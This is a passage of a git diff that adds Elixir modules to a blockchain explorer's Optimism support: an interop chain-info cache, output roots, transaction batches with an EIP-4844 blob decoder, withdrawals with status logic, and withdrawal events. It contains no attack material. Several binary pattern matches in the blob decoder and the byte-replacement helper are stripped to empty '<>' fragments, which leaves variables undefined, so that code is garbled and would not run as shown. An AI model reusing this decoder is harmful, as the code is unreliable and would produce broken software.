interop_chain_id_to_instance_info(chain_id, instance_ui_url_only \\ true) do + info_from_cache = ConCache.get(@interop_chain_id_to_instance_info_cache, chain_id) + + result = + with {:not_in_cache, true, _} <- {:not_in_cache, is_nil(info_from_cache), info_from_cache}, + env = Application.get_all_env(:indexer)[InteropMessageQueue], + info_from_chainscout = get_instance_info_by_chain_id(chain_id, env[:chainscout_api_url]), + {:not_in_chainscout, true, _} <- {:not_in_chainscout, is_nil(info_from_chainscout), info_from_chainscout}, + url_from_map = Map.get(env[:chainscout_fallback_map], Integer.to_string(chain_id)), + {:in_fallback, true} <- {:in_fallback, not is_nil(url_from_map)} do + instance_url = + if is_map(url_from_map) do + %{ + "api" => String.trim_trailing(Map.get(url_from_map, "api", ""), "/"), + "ui" => String.trim_trailing(Map.get(url_from_map, "ui", ""), "/") + } + else + String.trim_trailing(url_from_map, "/") + end + + info = + %{ + instance_url: instance_url, + chain_id: chain_id, + chain_name: nil, + chain_logo: nil + } + + ConCache.put(@interop_chain_id_to_instance_info_cache, chain_id, info) + info + else + {:not_in_cache, false, info_from_cache} -> + info_from_cache + + {:not_in_chainscout, false, info_from_chainscout} -> + ConCache.put(@interop_chain_id_to_instance_info_cache, chain_id, info_from_chainscout) + info_from_chainscout + + {:in_fallback, false} -> + nil + end + + if instance_ui_url_only and not is_nil(result) and is_map(result.instance_url) do + %{result | instance_url: result.instance_url["ui"]} + else + result + end + end + + def interop_instance_api_url_to_public_key_cache, do: @interop_instance_api_url_to_public_key_cache + def interop_chain_id_to_instance_info_cache, do: @interop_chain_id_to_instance_info_cache +end diff --git a/apps/explorer/lib/explorer/chain/optimism/output_root.ex b/apps/explorer/lib/explorer/chain/optimism/output_root.ex new file mode 100644 index 000000000000..0d68cb7c3b51 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/output_root.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Chain.Optimism.OutputRoot do + @moduledoc "Models an output root for Optimism." + + use Explorer.Schema + + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias Explorer.Chain.Hash + alias Explorer.PagingOptions + + @required_attrs ~w(l2_output_index l2_block_number l1_transaction_hash l1_timestamp l1_block_number output_root)a + + @typedoc """ + * `l2_output_index` - A unique index of the output root. + * `l2_block_number` - An L2 block number of the output root. + * `l1_transaction_hash` - An L1 transaction hash where an event with the output root appeared. + * `l1_timestamp` - A timestamp of the L1 transaction block. + * `l1_block_number` - A block number of the L1 transaction. + * `output_root` - The output root. + """ + @primary_key false + typed_schema "op_output_roots" do + field(:l2_output_index, :integer, primary_key: true) + field(:l2_block_number, :integer) + field(:l1_transaction_hash, Hash.Full) + field(:l1_timestamp, :utc_datetime_usec) + field(:l1_block_number, :integer) + field(:output_root, Hash.Full) + + timestamps() + end + + def changeset(%__MODULE__{} = output_roots, attrs \\ %{}) do + output_roots + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.OutputRoot.t/0`'s' in descending order based on output root index. + + """ + @spec list :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from(r in __MODULE__, + order_by: [desc: r.l2_output_index], + select: r + ) + + base_query + |> page_output_roots(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + defp page_output_roots(query, %PagingOptions{key: nil}), do: query + + defp page_output_roots(query, %PagingOptions{key: {index}}) do + from(r in query, where: r.l2_output_index < ^index) + end + + @doc """ + Forms a query to find the last Output Root's L1 block number and transaction hash. + Used by the `Indexer.Fetcher.Optimism.OutputRoot` module. + + ## Returns + - A query which can be used by the `Repo.one` function. + """ + @spec last_root_l1_block_number_query() :: Ecto.Queryable.t() + def last_root_l1_block_number_query do + from(root in __MODULE__, + select: {root.l1_block_number, root.l1_transaction_hash}, + order_by: [desc: root.l2_output_index], + limit: 1 + ) + end + + @doc """ + Forms a query to remove all Output Roots related to the specified L1 block number. + Used by the `Indexer.Fetcher.Optimism.OutputRoot` module. + + ## Parameters + - `l1_block_number`: The L1 block number for which the Output Roots should be removed + from the `op_output_roots` database table. + + ## Returns + - A query which can be used by the `delete_all` function. + """ + @spec remove_roots_query(non_neg_integer()) :: Ecto.Queryable.t() + def remove_roots_query(l1_block_number) do + from(root in __MODULE__, where: root.l1_block_number == ^l1_block_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/reader.ex b/apps/explorer/lib/explorer/chain/optimism/reader.ex new file mode 100644 index 000000000000..3dba0355f4f4 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/reader.ex @@ -0,0 +1,43 @@ +defmodule Explorer.Chain.Optimism.Reader do + @moduledoc "Contains read functions for Optimism modules." + import Ecto.Query, + only: [from: 2] + + import Explorer.Chain, only: [select_repo: 1] + alias Explorer.Chain.Optimism.FrameSequence + alias Explorer.Prometheus.Instrumenter + + @doc """ + Gets information about the latest batch and calculates average time between batches, in seconds. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - If at least two batches exist: + `{:ok, %{latest_batch_number: integer, latest_batch_timestamp: DateTime.t(), average_batch_time: integer}}` + where: + * latest_batch_number - id of the latest batch in the database. + * latest_batch_timestamp - when the latest batch was committed to L1. + * average_batch_time - average number of seconds between batches for the last 100 batches. + + - If less than two batches exist: `{:error, :not_found}`. + """ + @spec get_latest_batch_info(keyword()) :: {:ok, map()} | {:error, :not_found} + def get_latest_batch_info(options \\ []) do + query = + from(fs in FrameSequence, + where: fs.view_ready == true, + order_by: [desc: fs.id], + limit: 5, + select: %{ + number: fs.id, + timestamp: fs.l1_timestamp + } + ) + + items = select_repo(options).all(query) + + Instrumenter.prepare_batch_metric(items) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/transaction_batch.ex b/apps/explorer/lib/explorer/chain/optimism/transaction_batch.ex new file mode 100644 index 000000000000..a1853e01169f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/transaction_batch.ex @@ -0,0 +1,283 @@ +defmodule Explorer.Chain.Optimism.TransactionBatch do + @moduledoc """ + Models a batch of transactions for Optimism. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Optimism.TransactionBatches + + Migrations: + - Explorer.Repo.Migrations.AddOpTransactionBatchesTable + - Explorer.Repo.Migrations.RenameFields + - Explorer.Repo.Migrations.AddOpFrameSequencesTable + - Explorer.Repo.Migrations.RemoveOpEpochNumberField + - Explorer.Repo.Optimism.Migrations.AddCelestiaBlobMetadata + - Explorer.Repo.Optimism.Migrations.AddFrameSequenceIdPrevField + """ + + use Explorer.Schema + + import Explorer.Chain, only: [default_paging_options: 0, join_association: 3, join_associations: 2, select_repo: 1] + + alias Explorer.Chain.Block + alias Explorer.Chain.Optimism.FrameSequence + alias Explorer.{PagingOptions, Repo} + + @required_attrs ~w(l2_block_number frame_sequence_id)a + + @blob_size 4096 * 32 + @encoding_version 0 + @max_blob_data_size (4 * 31 + 3) * 1024 - 4 + @rounds 1024 + + @typedoc """ + * `l2_block_number` - An L2 block number related to the specified frame sequence. + * `frame_sequence_id` - ID of the frame sequence the L2 block relates to. + * `frame_sequence_id_prev` - Previous ID of the frame sequence (should be 0 until the table row is updated). + * `frame_sequence` - An instance of `Explorer.Chain.Optimism.FrameSequence` referenced by `frame_sequence_id`. + """ + @primary_key false + typed_schema "op_transaction_batches" do + field(:l2_block_number, :integer, primary_key: true) + belongs_to(:frame_sequence, FrameSequence, foreign_key: :frame_sequence_id, references: :id, type: :integer) + field(:frame_sequence_id_prev, :integer) + + timestamps() + end + + @doc """ + Validates that the attributes are valid. + """ + def changeset(%__MODULE__{} = batches, attrs \\ %{}) do + batches + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:frame_sequence_id) + end + + @doc """ + Returns an edge L2 block number (min or max) of an L2 block range + for the specified frame sequence. + + ## Parameters + - `id`: The ID of the frame sequence for which the edge block number must be returned. + - `type`: Can be :min or :max depending on which block number needs to be returned. + + ## Returns + - The min/max block number or `nil` if the block range is not found. + """ + @spec edge_l2_block_number(non_neg_integer(), :min | :max) :: non_neg_integer() | nil + def edge_l2_block_number(id, type) when type == :min and is_integer(id) and id >= 0 do + query = + id + |> edge_l2_block_number_query() + |> order_by([tb], asc: tb.l2_block_number) + + Repo.replica().one(query) + end + + def edge_l2_block_number(id, type) when type == :max and is_integer(id) and id >= 0 do + query = + id + |> edge_l2_block_number_query() + |> order_by([tb], desc: tb.l2_block_number) + + Repo.replica().one(query) + end + + def edge_l2_block_number(_id, _type), do: nil + + defp edge_l2_block_number_query(id) do + from( + tb in __MODULE__, + select: tb.l2_block_number, + where: tb.frame_sequence_id == ^id, + limit: 1 + ) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.TransactionBatch.t/0`'s' in descending order based on l2_block_number. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database, + paging options, and optional L2 block range for which to make the list of items. + + ## Returns + - A list of found entities sorted by `l2_block_number` in descending order. + """ + @spec list(list()) :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + l2_block_range_start = Keyword.get(options, :l2_block_range_start) + l2_block_range_end = Keyword.get(options, :l2_block_range_end) + + base_query = + if is_nil(l2_block_range_start) or is_nil(l2_block_range_end) do + from(tb in __MODULE__, + order_by: [desc: tb.l2_block_number] + ) + else + from(tb in __MODULE__, + order_by: [desc: tb.l2_block_number], + where: tb.l2_block_number >= ^l2_block_range_start and tb.l2_block_number <= ^l2_block_range_end + ) + end + + base_query + |> join_association(:frame_sequence, :required) + |> page_transaction_batches(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + @doc """ + Retrieves a list of rollup blocks included into a specified batch. + + This function constructs and executes a database query to retrieve a list of rollup blocks, + considering pagination options specified in the `options` parameter. These options dictate + the number of items to retrieve and how many items to skip from the top. + + ## Parameters + - `batch_number`: The batch number whose transactions are included on L1. + - `options`: A keyword list of options specifying pagination, association necessity, and + whether to use a replica database. + + ## Returns + - A list of `Explorer.Chain.Block` entries belonging to the specified batch. + """ + @spec batch_blocks(non_neg_integer() | binary(), + necessity_by_association: %{atom() => :optional | :required}, + api?: boolean(), + paging_options: PagingOptions.t() + ) :: [Block.t()] + def batch_blocks(batch_number, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + query = + from( + b in Block, + inner_join: tb in __MODULE__, + on: tb.l2_block_number == b.number and tb.frame_sequence_id == ^batch_number, + where: b.consensus == true + ) + + query + |> page_blocks(paging_options) + |> limit(^paging_options.page_size) + |> order_by(desc: :number) + |> join_associations(necessity_by_association) + |> select_repo(options).all(timeout: :infinity) + end + + defp page_blocks(query, %PagingOptions{key: nil}), do: query + + defp page_blocks(query, %PagingOptions{key: {0}}), do: query + + defp page_blocks(query, %PagingOptions{key: {block_number}}) do + where(query, [block], block.number < ^block_number) + end + + @doc """ + Decodes EIP-4844 blob to the raw data. Returns `nil` if the blob is invalid. + """ + @spec decode_eip4844_blob(binary()) :: binary() | nil + def decode_eip4844_blob(b) do + <> = b + + if version != @encoding_version or output_len > @max_blob_data_size do + raise "Blob version or data size is incorrect" + end + + output = first_output <> :binary.copy(<<0>>, @max_blob_data_size - 27) + + opos = 28 + ipos = 32 + {encoded_byte1, opos, ipos, output} = decode_eip4844_field_element(b, opos, ipos, output) + {encoded_byte2, opos, ipos, output} = decode_eip4844_field_element(b, opos, ipos, output) + {encoded_byte3, opos, ipos, output} = decode_eip4844_field_element(b, opos, ipos, output) + {opos, output} = reassemble_eip4844_bytes(opos, encoded_byte0, encoded_byte1, encoded_byte2, encoded_byte3, output) + + {_opos, ipos, output} = + Enum.reduce_while(Range.new(1, @rounds - 1), {opos, ipos, output}, fn _i, {opos_acc, ipos_acc, output_acc} -> + if opos_acc >= output_len do + {:halt, {opos_acc, ipos_acc, output_acc}} + else + {encoded_byte0, opos_acc, ipos_acc, output_acc} = + decode_eip4844_field_element(b, opos_acc, ipos_acc, output_acc) + + {encoded_byte1, opos_acc, ipos_acc, output_acc} = + decode_eip4844_field_element(b, opos_acc, ipos_acc, output_acc) + + {encoded_byte2, opos_acc, ipos_acc, output_acc} = + decode_eip4844_field_element(b, opos_acc, ipos_acc, output_acc) + + {encoded_byte3, opos_acc, ipos_acc, output_acc} = + decode_eip4844_field_element(b, opos_acc, ipos_acc, output_acc) + + {opos_acc, output_acc} = + reassemble_eip4844_bytes(opos_acc, encoded_byte0, encoded_byte1, encoded_byte2, encoded_byte3, output_acc) + + {:cont, {opos_acc, ipos_acc, output_acc}} + end + end) + + Enum.each(Range.new(output_len, byte_size(output) - 1, 1), fn i -> + <<0>> = binary_part(output, i, 1) + end) + + output = binary_part(output, 0, output_len) + + Enum.each(Range.new(ipos, @blob_size - 1, 1), fn i -> + <<0>> = binary_part(b, i, 1) + end) + + output + rescue + _ -> nil + end + + defp decode_eip4844_field_element(b, opos, ipos, output) do + <<_::binary-size(ipos), ipos_byte::size(8), insert::binary-size(31), _::binary>> = b + + if Bitwise.band(ipos_byte, 0b11000000) == 0 do + <> = output + + {ipos_byte, opos + 32, ipos + 32, output_before_opos <> insert <> rest} + end + end + + defp reassemble_eip4844_bytes(opos, encoded_byte0, encoded_byte1, encoded_byte2, encoded_byte3, output) do + opos = opos - 1 + + x = Bitwise.bor(Bitwise.band(encoded_byte0, 0b00111111), Bitwise.bsl(Bitwise.band(encoded_byte1, 0b00110000), 2)) + y = Bitwise.bor(Bitwise.band(encoded_byte1, 0b00001111), Bitwise.bsl(Bitwise.band(encoded_byte3, 0b00001111), 4)) + z = Bitwise.bor(Bitwise.band(encoded_byte2, 0b00111111), Bitwise.bsl(Bitwise.band(encoded_byte3, 0b00110000), 2)) + + new_output = + output + |> replace_byte(z, opos - 32) + |> replace_byte(y, opos - 32 * 2) + |> replace_byte(x, opos - 32 * 3) + + {opos, new_output} + end + + defp replace_byte(bytes, byte, pos) do + <> = bytes + bytes_before <> <> <> bytes_after + end + + defp page_transaction_batches(query, %PagingOptions{key: nil}), do: query + + defp page_transaction_batches(query, %PagingOptions{key: {block_number}}) do + from(tb in query, where: tb.l2_block_number < ^block_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/withdrawal.ex b/apps/explorer/lib/explorer/chain/optimism/withdrawal.ex new file mode 100644 index 000000000000..c2eff65dfdad --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/withdrawal.ex @@ -0,0 +1,438 @@ +defmodule Explorer.Chain.Optimism.Withdrawal do + @moduledoc "Models Optimism withdrawal." + + use Explorer.Schema + + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias Explorer.Application.Constants + alias Explorer.Chain + alias Explorer.Chain.{Block, Hash, Transaction} + alias Explorer.Chain.Cache.OptimismFinalizationPeriod + alias Explorer.Chain.Optimism.{DisputeGame, OutputRoot, WithdrawalEvent} + alias Explorer.{Helper, PagingOptions, Repo} + + @game_status_defender_wins 2 + + @withdrawal_status_waiting_for_state_root "Waiting for state root" + @withdrawal_status_ready_to_prove "Ready to prove" + @withdrawal_status_waiting_to_resolve "Waiting a game to resolve" + @withdrawal_status_in_challenge "In challenge period" + @withdrawal_status_ready_for_relay "Ready for relay" + @withdrawal_status_proven "Proven" + @withdrawal_status_relayed "Relayed" + + @dispute_game_finality_delay_seconds "optimism_dispute_game_finality_delay_seconds" + @proof_maturity_delay_seconds "optimism_proof_maturity_delay_seconds" + + @required_attrs ~w(msg_nonce hash l2_transaction_hash l2_block_number)a + @game_fields ~w(created_at resolved_at status)a + + @api_true [api?: true] + + @typedoc """ + * `msg_nonce` - A nonce of the withdrawal message. + * `hash` - A withdrawal hash. + * `l2_transaction_hash` - An L2 transaction hash which initiated the withdrawal. + * `l2_block_number` - A block number of the L2 transaction. + """ + @primary_key false + typed_schema "op_withdrawals" do + field(:msg_nonce, :decimal, primary_key: true) + field(:hash, Hash.Full) + field(:l2_transaction_hash, Hash.Full) + field(:l2_block_number, :integer) + + timestamps() + end + + def changeset(%__MODULE__{} = withdrawals, attrs \\ %{}) do + withdrawals + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.Withdrawal.t/0`'s' in descending order based on message nonce. + + """ + @spec list :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from(w in __MODULE__, + order_by: [desc: w.msg_nonce], + left_join: l2_transaction in Transaction, + on: w.l2_transaction_hash == l2_transaction.hash, + left_join: l2_block in Block, + on: w.l2_block_number == l2_block.number, + left_join: we in WithdrawalEvent, + on: we.withdrawal_hash == w.hash and we.l1_event_type == :WithdrawalFinalized, + select: %{ + msg_nonce: w.msg_nonce, + hash: w.hash, + l2_block_number: w.l2_block_number, + l2_timestamp: l2_block.timestamp, + l2_transaction_hash: w.l2_transaction_hash, + l1_transaction_hash: we.l1_transaction_hash, + from: l2_transaction.from_address_hash + } + ) + + base_query + |> page_optimism_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + defp page_optimism_withdrawals(query, %PagingOptions{key: nil}), do: query + + defp page_optimism_withdrawals(query, %PagingOptions{key: {nonce}}) do + from(w in query, where: w.msg_nonce < ^nonce) + end + + @doc """ + Forms a query to find the last Withdrawal's L2 block number and transaction hash. + Used by the `Indexer.Fetcher.Optimism.Withdrawal` module. + + ## Returns + - A query which can be used by the `Repo.one` function. + """ + @spec last_withdrawal_l2_block_number_query() :: Ecto.Queryable.t() + def last_withdrawal_l2_block_number_query do + from(w in __MODULE__, + select: {w.l2_block_number, w.l2_transaction_hash}, + order_by: [desc: w.msg_nonce], + limit: 1 + ) + end + + @doc """ + Forms a query to remove all Withdrawals related to the specified L2 block number. + Used by the `Indexer.Fetcher.Optimism.Withdrawal` module. + + ## Parameters + - `l2_block_number`: The L2 block number for which the Withdrawals should be removed + from the `op_withdrawals` database table. + + ## Returns + - A query which can be used by the `delete_all` function. + """ + @spec remove_withdrawals_query(non_neg_integer()) :: Ecto.Queryable.t() + def remove_withdrawals_query(l2_block_number) do + from(w in __MODULE__, where: w.l2_block_number == ^l2_block_number) + end + + @doc """ + Gets withdrawal statuses for Optimism Withdrawal transaction. + For each withdrawal associated with this transaction, + returns the status and the corresponding L1 transaction hash if the status is `Relayed`. + """ + @spec transaction_statuses(Hash.t()) :: [{non_neg_integer(), String.t(), Hash.t() | nil}] + def transaction_statuses(l2_transaction_hash) do + query = + from(w in __MODULE__, + where: w.l2_transaction_hash == ^l2_transaction_hash, + left_join: l2_block in Block, + on: w.l2_block_number == l2_block.number and l2_block.consensus == true, + left_join: we in WithdrawalEvent, + on: we.withdrawal_hash == w.hash and we.l1_event_type == :WithdrawalFinalized, + select: %{ + hash: w.hash, + l2_block_number: w.l2_block_number, + l1_transaction_hash: we.l1_transaction_hash, + msg_nonce: w.msg_nonce + } + ) + + query + |> Repo.replica().all(timeout: :infinity) + |> Enum.map(fn w -> + msg_nonce = + Bitwise.band( + Decimal.to_integer(w.msg_nonce), + 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF + ) + + {status, _} = status(w, nil, @api_true) + {msg_nonce, status, w.l1_transaction_hash} + end) + end + + @doc """ + Gets Optimism Withdrawal status and unlock datetime (only for `In challenge period`). + + Since OP Fault Proofs implementation assumes having more than one WithdrawalProven events for + the same withdrawal, the function analyzes all the WithdrawalProven events and determines + the current withdrawal status for each of them. The first success status is taken and returned + as the final one. + + ## Parameters + - `w`: A map with the withdrawal info. + - `respected_games`: A list of games returned by the `respected_games(options)` function. + Used to avoid duplicated SQL requests when the `status` function + is called in a loop. If `nil`, the `respected_games(options)` function + is called internally. + + ## Returns + - `{status, datetime}` tuple where the `status` is the current withdrawal status, + `datetime` is the point of time when the challenge period ends. + (only for `In challenge period` status). + """ + @spec status(map(), list() | nil, [Chain.api?()]) :: {String.t(), DateTime.t() | nil} + def status(w, respected_games \\ nil, options \\ []) + + def status(w, respected_games, options) when is_nil(w.l1_transaction_hash) do + proven_events = proven_events_by_hash(w.hash) + + respected_games = + if is_nil(respected_games) do + respected_games(options) + else + respected_games + end + + if proven_events == [] do + cond do + appropriate_games_found(w.l2_block_number, respected_games) -> + {@withdrawal_status_ready_to_prove, nil} + + appropriate_root_found(w.l2_block_number) -> + {@withdrawal_status_ready_to_prove, nil} + + true -> + {@withdrawal_status_waiting_for_state_root, nil} + end + else + handle_proven_status(proven_events, respected_games) + end + end + + def status(_w, _respected_games, _options) do + {@withdrawal_status_relayed, nil} + end + + @doc """ + Returns the list of games which type is equal to the current respected game type + received from OptimismPortal contract. + """ + @spec respected_games([Chain.api?()]) :: list() + def respected_games(options) do + case Helper.parse_integer(Constants.get_constant_value("optimism_respected_game_type")) do + nil -> + [] + + game_type -> + query = + from(g in DisputeGame, + where: g.game_type == ^game_type, + order_by: [desc: g.index], + limit: 100 + ) + + Chain.select_repo(options).all(query, timeout: :infinity) + end + end + + @doc """ + Returns a name of the dispute_game_finality_delay_seconds constant. + """ + @spec dispute_game_finality_delay_seconds_constant() :: binary() + def dispute_game_finality_delay_seconds_constant do + @dispute_game_finality_delay_seconds + end + + @doc """ + Returns a name of the proof_maturity_delay_seconds constant. + """ + @spec proof_maturity_delay_seconds_constant() :: binary() + def proof_maturity_delay_seconds_constant do + @proof_maturity_delay_seconds + end + + defp appropriate_games_found(withdrawal_l2_block_number, respected_games) do + respected_games + |> Enum.any?(fn game -> + l2_block_number = DisputeGame.l2_block_number_from_extra_data(game.extra_data) + withdrawal_l2_block_number <= l2_block_number + end) + end + + defp appropriate_root_found(withdrawal_l2_block_number) do + last_root_l2_block_number = + Repo.replica().one( + from(root in OutputRoot, + select: root.l2_block_number, + order_by: [desc: root.l2_output_index], + limit: 1 + ) + ) || 0 + + withdrawal_l2_block_number <= last_root_l2_block_number + end + + # Fetches dispute game info from DB by game's contract address hash or game's unique index. + # + # ## Parameters + # - `game_address_hash`: Game's contract address hash. Must be `nil` if unknown. + # - `game_index`: Game unique index. Must be `nil` if unknown. + # + # ## Returns + # - A map with necessary info about the dispute game. + # - `nil` if the dispute game not found in DB or both input parameters are `nil`. + @spec game_by_address_hash_or_index(Hash.t() | nil, non_neg_integer() | nil) :: + %{:created_at => DateTime.t(), :resolved_at => DateTime.t(), :status => non_neg_integer()} | nil + defp game_by_address_hash_or_index(nil, nil), do: nil + + defp game_by_address_hash_or_index(game_address_hash, nil) do + Repo.replica().one( + from( + g in DisputeGame, + select: map(g, ^@game_fields), + where: g.address_hash == ^game_address_hash, + limit: 1 + ) + ) + end + + defp game_by_address_hash_or_index(_game_address_hash, game_index) when not is_nil(game_index) do + Repo.replica().one( + from( + g in DisputeGame, + select: map(g, ^@game_fields), + where: g.index == ^game_index + ) + ) + end + + # Determines the current withdrawal status by the list of the bound WithdrawalProven events. + # + # ## Parameters + # - `proven_events`: A list of WithdrawalProven events. Each item is `{l1_timestamp, game_address_hash, game_index}` tuple. + # - `respected_games`: A list of games returned by the `respected_games(options)` function. + # + # ## Returns + # - `{status, datetime}` tuple where the `status` is the current withdrawal status, + # `datetime` is the point of time when the challenge period ends. + # (only for `In challenge period` status). + @spec handle_proven_status(list(), list()) :: {String.t(), DateTime.t() | nil} + defp handle_proven_status(proven_events, respected_games) do + statuses = + proven_events + |> Enum.reduce_while([], fn {l1_timestamp, game_address_hash, game_index}, acc -> + game = game_by_address_hash_or_index(game_address_hash, game_index) + + # credo:disable-for-lines:16 Credo.Check.Refactor.PipeChainStart + cond do + is_nil(game) and not Enum.empty?(respected_games) -> + # here we cannot exactly determine the status `Waiting a game to resolve` or + # `Ready for relay` or `In challenge period` + # as we don't know the game index and address. In this case we display the `Proven` status + {@withdrawal_status_proven, nil} + + is_nil(game) or DateTime.compare(l1_timestamp, game.created_at) == :lt -> + # the old status determining approach + pre_fault_proofs_status(l1_timestamp) + + true -> + # the new status determining approach + post_fault_proofs_status(l1_timestamp, game) + end + |> case do + {@withdrawal_status_ready_for_relay, _} = status -> {:halt, [status]} + status -> {:cont, [status | acc]} + end + end) + + status_priority = + %{} + |> Map.put(@withdrawal_status_in_challenge, 30) + |> Map.put(@withdrawal_status_waiting_to_resolve, 20) + |> Map.put(@withdrawal_status_proven, 10) + + statuses + |> Enum.sort_by( + fn {s, timestamp} -> + {status_priority[s], if(not is_nil(timestamp), do: -DateTime.to_unix(timestamp))} + end, + :desc + ) + |> List.first() + end + + # Gets the list of WithdrawalProven events from the `op_withdrawal_events` database table + # bound with the given withdrawal hash. The returned events are sorted by `l1_block_number` + # in ascending order. + # + # ## Parameters + # - `withdrawal_hash`: The withdrawal hash for which the function should return the events. + # + # ## Returns + # - A list of `{l1_timestamp, game_address_hash, game_index}` tuples where `l1_timestamp` is the L1 block timestamp + # when the event appeared, `game_address_hash` is the bound dispute game contract address hash (can be `nil`), + # `game_index` is the bound dispute game index (can be `nil`). + @spec proven_events_by_hash(Hash.t()) :: [{DateTime.t(), Hash.t() | nil, non_neg_integer() | nil}] + defp proven_events_by_hash(withdrawal_hash) do + Repo.replica().all( + from( + we in WithdrawalEvent, + select: {we.l1_timestamp, we.game_address_hash, we.game_index}, + where: we.withdrawal_hash == ^withdrawal_hash and we.l1_event_type == :WithdrawalProven, + order_by: [asc: we.l1_block_number] + ), + timeout: :infinity + ) + end + + defp pre_fault_proofs_status(l1_timestamp) do + challenge_period = + case OptimismFinalizationPeriod.get_period() do + nil -> 604_800 + period -> period + end + + if DateTime.compare(l1_timestamp, DateTime.add(DateTime.utc_now(), -challenge_period)) == :lt do + {@withdrawal_status_ready_for_relay, nil} + else + {@withdrawal_status_in_challenge, DateTime.add(l1_timestamp, challenge_period)} + end + end + + defp post_fault_proofs_status(l1_timestamp, game) do + if game.status != @game_status_defender_wins do + # the game status is not DEFENDER_WINS + {@withdrawal_status_waiting_to_resolve, nil} + else + dispute_game_finality_delay_seconds = + Helper.parse_integer(Constants.get_constant_value(@dispute_game_finality_delay_seconds)) + + proof_maturity_delay_seconds = Helper.parse_integer(Constants.get_constant_value(@proof_maturity_delay_seconds)) + + false = is_nil(dispute_game_finality_delay_seconds) + false = is_nil(proof_maturity_delay_seconds) + + finality_delayed = DateTime.add(game.resolved_at, dispute_game_finality_delay_seconds) + proof_delayed = DateTime.add(l1_timestamp, proof_maturity_delay_seconds) + + now = DateTime.utc_now() + + if DateTime.compare(now, finality_delayed) == :lt or DateTime.compare(now, finality_delayed) == :eq or + DateTime.compare(now, proof_delayed) == :lt or DateTime.compare(now, proof_delayed) == :eq do + seconds_left1 = max(DateTime.diff(finality_delayed, now), 0) + seconds_left2 = max(DateTime.diff(proof_delayed, now), 0) + seconds_left = max(seconds_left1, seconds_left2) + + {@withdrawal_status_in_challenge, DateTime.add(now, seconds_left)} + else + {@withdrawal_status_ready_for_relay, nil} + end + end + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/withdrawal_event.ex b/apps/explorer/lib/explorer/chain/optimism/withdrawal_event.ex new file mode 100644 index 000000000000..b33010ed18ba --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/withdrawal_event.ex @@ -0,0 +1,94 @@ +defmodule Explorer.Chain.Optimism.WithdrawalEvent do + @moduledoc "Models Optimism withdrawal event." + + use Explorer.Schema + + alias Explorer.Chain.Hash + + @required_attrs ~w(withdrawal_hash l1_event_type l1_timestamp l1_transaction_hash l1_block_number)a + @optional_attrs ~w(game_index game_address_hash)a + + @typedoc """ + Descriptor of the withdrawal event: + * `withdrawal_hash` - A withdrawal hash. + * `l1_event_type` - A type of withdrawal event: `WithdrawalProven` or `WithdrawalFinalized`. + * `l1_timestamp` - A timestamp of when the withdrawal event appeared. + * `l1_transaction_hash` - An hash of L1 transaction that contains the event. + * `l1_block_number` - An L1 block number of the L1 transaction. + * `game_index` - An index of a dispute game (if available in L1 transaction input) when + the withdrawal is proven. Equals to `nil` if not available. + * `game_address_hash` - Contract address of a dispute game (if available in L1 transaction input) when + the withdrawal is proven. Equals to `nil` if not available. + """ + @type to_import :: %{ + withdrawal_hash: Hash.t(), + l1_event_type: String.t(), + l1_timestamp: DateTime.t(), + l1_transaction_hash: Hash.t(), + l1_block_number: non_neg_integer(), + game_index: non_neg_integer(), + game_address_hash: Hash.t() + } + + @typedoc """ + * `withdrawal_hash` - A withdrawal hash. + * `l1_event_type` - A type of withdrawal event: `WithdrawalProven` or `WithdrawalFinalized`. + * `l1_timestamp` - A timestamp of when the withdrawal event appeared. + * `l1_transaction_hash` - An hash of L1 transaction that contains the event. + * `l1_block_number` - An L1 block number of the L1 transaction. + * `game_index` - An index of a dispute game (if available in L1 transaction input) when + the withdrawal is proven. Equals to `nil` if not available. + * `game_address_hash` - Contract address of a dispute game (if available in L1 transaction input) when + the withdrawal is proven. Equals to `nil` if not available. + """ + @primary_key false + typed_schema "op_withdrawal_events" do + field(:withdrawal_hash, Hash.Full, primary_key: true) + field(:l1_event_type, Ecto.Enum, values: [:WithdrawalProven, :WithdrawalFinalized], primary_key: true) + field(:l1_timestamp, :utc_datetime_usec) + field(:l1_transaction_hash, Hash.Full, primary_key: true) + field(:l1_block_number, :integer) + field(:game_index, :integer) + field(:game_address_hash, Hash.Address) + + timestamps() + end + + def changeset(%__MODULE__{} = withdrawal_events, attrs \\ %{}) do 